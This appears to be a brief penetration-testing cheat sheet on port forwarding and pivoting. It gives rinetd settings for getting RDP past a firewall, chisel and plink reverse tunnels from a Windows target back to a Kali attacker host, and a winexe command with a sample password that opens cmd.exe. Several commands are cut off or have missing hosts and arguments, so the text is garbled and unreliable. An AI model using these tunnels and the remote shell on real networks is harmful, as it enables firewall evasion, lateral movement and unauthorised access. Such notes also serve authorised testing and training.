Port Forwarding

Simple port forwarding tricks
Main Concept: Accept traffic on a given IP and then redirect to another IP, PORT


A windows box wants to connect to an external device using RDP but due to the firewall restrictions it cannot.
We can set up a proxy on Linux box to bypass this:
vi /etc/rinetd.conf
(ADD) bindaddress bindport connectaddress connectport
local/public IP on kali ( 80 External IP we want to connect 3389
/etc/init.d/rinetd restart
# Connect from windows to the external IP using RDP with
Investigate sockets running on the target
ss -tulpn
-t: Display TCP sockets
-u: Display UDP sockets
-l: Displays only listening sockets
-p: Shows the process using the socket
-n: Doesn't resolve service names


### On Windows Target ###
chisel_windows.exe client KALI_IP_BOX:9002 R:14147:localhost:14147
### On Kali ###
./chisel_linux server --reverse --port 9002

Download Chisel from here

On Target:
.\plink.exe root@KALI_IP -R 445:
On Kali:
winexe -U ‘admin%password123’ // cmd.exe